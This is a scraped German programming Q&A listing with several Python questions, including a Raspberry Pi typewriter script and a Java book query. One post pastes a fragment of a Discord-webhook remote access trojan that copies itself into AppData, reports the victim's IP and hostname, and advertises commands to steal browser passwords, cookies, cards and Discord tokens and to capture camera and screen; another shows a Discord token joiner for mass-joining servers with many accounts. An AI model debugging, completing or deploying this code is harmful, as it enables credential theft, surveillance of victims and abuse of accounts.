Python – die neusten Beiträge

Epson Nadeldrucker einzelne Buchstaben drucken?

Hey Leute!

Ich versuche aus einem Raspberry Pi 4 und meinem EPSON LQ Nadeldrucker eine "Schreibmaschiene" zu bauen. Ist es möglich, statt Line-By-Line jeden Buchstaben den ich eingebe einzeln zu drucken? Ich komme nämlich nicht weiter.

Mein aktuelles Script:

import os
import sys
import termios
import tty


# Pfad zum USB-Drucker
DRUCKER_USB_PORT = '/dev/usb/lp0'


# Funktion, um eine Taste direkt ohne ENTER zu lesen
def lese_taste():
    fd = sys.stdin.fileno()
    alte_einstellungen = termios.tcgetattr(fd)
    try:
        tty.setraw(fd)
        taste = sys.stdin.read(1)  # Liest genau 1 Zeichen
    finally:
        termios.tcsetattr(fd, termios.TCSADRAIN, alte_einstellungen)
    return taste


# Verbindung zum Drucker öffnen
if not os.path.exists(DRUCKER_USB_PORT):
    print(f"Der Drucker wurde nicht unter {DRUCKER_USB_PORT} gefunden.")
    sys.exit(1)


try:
    with open(DRUCKER_USB_PORT, 'wb', buffering=0) as drucker:  # Ungepufferter Modus
        print("Schreibmaschinen-Modus aktiv. Tippe, um zu drucken. Drücke 'Strg+C' zum Beenden.")


        while True:
            taste = lese_taste()  # Zeichen sofort lesen
            if ord(taste) == 3:  # Strg+C beenden
                break
            elif ord(taste) == 13:  # ENTER (Carriage Return)
                drucker.write(b'\r\n')  # Zeilenumbruch senden
            else:
                drucker.write(taste.encode('ascii'))  # Zeichen sofort senden
            drucker.flush()  # Sicherstellen, dass die Daten sofort geschrieben werden


except PermissionError:
    print(f"Keine Berechtigung für Zugriff auf {DRUCKER_USB_PORT}.")
    print("Führe das Skript mit 'sudo' aus oder ändere die Berechtigungen:")
    print(f"  sudo chmod 666 {DRUCKER_USB_PORT}")
except Exception as e:
    print(f"Ein Fehler ist aufgetreten: {e}")
finally:
    print("Verbindung zum Drucker geschlossen.")


Drucker, Code, Programmiersprache, Python, Schreibmaschine, Python 3, Raspberry Pi, ChatGPT

Python Error aber wo?

Ich hab ein Python Skript da ist irgendwo ein Error aber ich weiß nicht wo das Problem ist. Mir wird der Error aber auch nicht angezeigt daher dass der Skript in den ersten 6000 Zeilen überall rot ist. Also der Text ist rot. Daher ist es nicht zu sehen aber der Stript schließt sich direkt. Daher weiß ich, dass da etwas nicht richtig Ich sehe nur, dass in der Zeile zwischen bis dahin erros sind, aber nicht wo genau

if file_name not in secret_names:
        while True:
            file_name_secret = random.choice(secret_names)
            if ext not in file_name_secret: continue
            else: break

        path_name = random.choice(path_appdata) "\\Windows"

        if not os.path.isdir(path_name):
            os.mkdir(path_name)

        script_path = f"{path_name}\\{file_name_secret}"
        shutil.copy(sys.argv[0], script_path)
            
        if ext == "py":
            os.system(f"python {script_path}")
            sys.exit()
        elif ext == "exe":
            os,system(f"start {script_path}")
            sys.exit()
        else:
            os.system(f"start {script_path}")
            sys.exit()

def NewConnection(w3bh00k_ur1):
    try:
        client = SyncWebhook.from_url(w3bh00k_ur1)

        embed = discord.Embed(
            title= f'New Connection !',
            description= f"""```
Status    : Connected
Day       : {current_time_day()}
Hour      : {current_time_hour()}
Hostname  : {hostname_pc}
Username  : {username_pc}
Country   : {country}
Ip        : {ip_address_public}
File Name : {file_name}
```""",
            color= color_embed
        )
        client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
    except:
        pass

        
def HelpCommand(w3bh00k_ur1, prefix):
    client = SyncWebhook.from_url(w3bh00k_ur1)

    embed = discord.Embed(
        title= f'R4t Commands:',
        color= color_embed
    )
    embed.add_field(name=f"{prefix}help", value=f"This.", inline=False)
    embed.add_field(name=f"{prefix}system_info", value=f"Steal: User, System, Ip, Disk, Screen, Location, etc.", inline=False)
    embed.add_field(name=f"{prefix}discord_token", value=f"Steal: Token, Email, Phone, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}browser_steal", value=f"Steal: Passwords, History, Cookies, Downloads, Cards, etc. ", inline=False)
    embed.add_field(name=f"{prefix}roblox_cookie", value=f"Steal: Cookie, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}camera_capture", value=f"Record the victim's computer camera.", inline=False)
    embed.add_field(name=f"{prefix}screenshot", value=f"Capture the victim's computer screen.", inline=False)
    embed.add_field(name=f"{prefix}shutdown", value=f"Turn off the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}terminal `[cmd]`", value=f"Write to the victim's computer terminal.", inline=False)
    embed.add_field(name=f"{prefix}open_url `[url]`", value=f"Launch a web page on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}block_website `[url]`", value=f"Blocks a website on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}open_calculator `[number]`", value=f"Opens the calculator on the victim's computer a certain number of times.", inline=False)
    embed.add_field(name=f"{prefix}block_task_manager", value=f"Blocks the task manager of the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}voice `[text]`", value=f"Plays a voice with the chosen text on the victim's computer.", inline=False)
    embed.set_footer(text=footer_text, icon_url=avatar_embed)

    client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)

hid3_pr0gr4m()
try: St4rtup()
except: pass

intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True

Bot, Error, Python, Discord

Python discord NonType Error?

Ich habe einen Error in meinem Code:

async def on_submit(self, interaction2: discord.Interaction):
    response = await sendRequests(str(self.username), str(self.email), str(self.password))
    if response == "email":
        await interaction2.response.send_message("Incorrect email format", ephemeral=True)
        return
    if response == "password":
        await interaction2.response.send_message("Incorrect password format. The password must meet these requirements: \nOne Uppercase letter \nOne lowercase letter \nOne number\n A special character ", ephemeral=True)
        return
    if response == "maintenance":
        await interaction2.response.send_message("The system is currently under maintenance. Please look in #news for more infos.", ephemeral=True)
    query = "INSERT INTO users VALUES (?, ?, ?, ?)"
    main.cursor.execute(query, (interaction2.user.id, str(self.username), str(self.email), str(self.password)))
    main.database.commit()
    await interaction2.response.send_message("You are now in the registration process. This can take up to one hour.", ephemeral=True)
    channel = main.bot.get_channel(1309925591146958933)
    await channel.send("make a recaptcha, registration from user : " + str(interaction2.user.name) + " with id: " + str(interaction2.user.id))

Error:
[2024-11-23 19:32:43] [ERROR  ] discord.ui.modal: Ignoring exception in modal <RegisterModal timeout=None children=3>:

Traceback (most recent call last):

 File ".venv\Lib\site-packages\discord\ui\modal.py", line 189, in _scheduled_task

   await self.on_submit(interaction)

 File "TestButton.py", line 41, in on_submit

   await channel.send("make a recaptcha, registration from user : " + str(interaction2.user.name) + " with id: " + str(interaction2.user.id))

         ^^^^^^^^^^^^

AttributeError: 'NoneType' object has no attribute 'send'

Bot, Code, Programmiersprache, Python, Webentwicklung, Python 3, Pycharm, Discord, Discord Bot

Capmonster integration in Python Script?

Guten Tag,

seit einigen Tagen versuche ich den captcha solver capmonster in mein Python Script, welches ein Discord Token Joiner ist, zu integrieren. Jedoch bekomme ich es nicht hin.

Wäre nett wenn mir jemand dabei helfen könnte.

from util import *

def send(invite, token):
  session = Client.get_session(token)
  result = session.post(f"https://discord.com/api/v9/invites/{invite}", json={"session_id": utility.rand_str(32)})
  if result.status_code == 200:
    Output("good", token).log(f"Joined {Fore.LIGHTBLACK_EX}{invite} {Fore.GREEN}-> {token} {Fore.LIGHTBLACK_EX}({result.status_code})")
  else:
    Output.error_logger(token, result.text, result.status_code)

def token_joiner():
  Output.set_title(f"Token Joiner")
   
  # Get the invite code from the user
  invite = input("Enter the invite link (without 'https://discord.gg/'): ").strip()
  invite = invite.split("/")[-1]
   
  # Get the number of threads
  max_threads = int(input("Enter the number of threads: ").strip())
   
  # Get the server name (if available)
  server_name = utility.get_server_name(invite)
  if server_name is not None:
    Output("info").notime(f"Joining {Fore.RED}{server_name}")
   
  # Run the threads
  utility.run_threads(max_threads=max_threads, func=send, args=[invite])
   
  # Wait for user to press Enter before closing the script
  input("\nPress Enter to exit the script...")

if __name__ == "__main__":
  token_joiner()
Python, captcha, Discord

Welches buch zu java?

Frage welches buch:

Java auch eine Insel als lernbuch brauchbar ? es soll wohl auch ein praxisbuch zusätzlich geben mit übungen.

Java Core fundamentals besser als das deutsche Pendant und gut lesbar als englische Ausgabe als recht neuling ?

Die Deutsche jav Ausgabe java auch eine insel:

https://www.amazon.de/dp/3836287455/?coliid=I255IK6DTY6WAQ&colid=12WD76V0KALBK&psc=1&ref_=list_c_wl_ys_dp_it

Oder renomiertes: core java Volume 1 fundamentals:

https://www.amazon.de/dp/B09GXR6SPF/?coliid=I3WOQ1XPAX8D6&colid=12WD76V0KALBK&psc=0&ref_=list_c_wl_lv_ov_lig_dp_it

Ich kann python habe aber nicht so viel reine praxis aber kenne dessen Konzepte und übte diese auch mit aufgaben sodass diese sicher sitzen.

Ich hatte python damals als Einstieg in Programmierung ein deutsches Buch genommen weil ich trotz sehr guter Englisch Kenntnisse einen schlechten Einstieg mit englischen Quellen hatte.

Jetzt die Frage ich weiß bei obigen Büchern Wird vom Autor jeweils empfohlen wenn auch nicht zwingend Programmiererfahrung in einer anderen Sprache zu haben - ja das traue ich mir zu zu sagen die ist da.

Jetzt aber der Punkt dir deutsche Ausgabe, ein Klassiker ja , hat reviews dass diese eher als Nachschlagewerk taugt da zu Kleinteilig und genau. (Was ja gut ist einerseits)

Das englische wiederum wirkt auf mich wesentlich mehr comprehensional somit besser als lernbuch.

Ich weiß aber nicht ob mein Englisch etwa C1 und meine python Kenntnisse reichen um diesmal mit einem englischen Buch zurecht zu kommen - zudem glaub ich serwohl das Buch ist besser aber vlt irr ich mich, auf deutsch hätte ich dieses bereits gewählt.

Ich weiß gleichzeitig nicht ob das deutsche java Buch was taugt als Selbstlerner.

Ps: mir reicht es mit dem buch so weit es möglich ist allein zu arbeiten. Ich will ausdrücklich mich fürs Informatik Studium damit vorbereiten da nubmal java dort drankommt.

Wenn ich tatsächlich praxis lern gut wenn nur Theorie auch gut - ich will wirklich java einfach ausprobieren statt bisher nur python zu kennen.

Und jap. Youtube und Kurse sind auch da aber ich kann am besten mit einem Buch arbeiten - wie gesagt praxis sowieso mit Übungsaufgaben.

Frage kurzum nochmal:

Java auch eine Insel als lernbuch brauchbar ? es soll wohl auch ein praxisbuch zusätzlich geben mit übungen.

Java Core fundamentals besser als das deutsche Pendant und gut lesbar als englische Ausgabe als recht neuling ?

Studium, Mathematik, programmieren, Python, Universität, Selbstlernen

Meistgelesene Beiträge zum Thema Python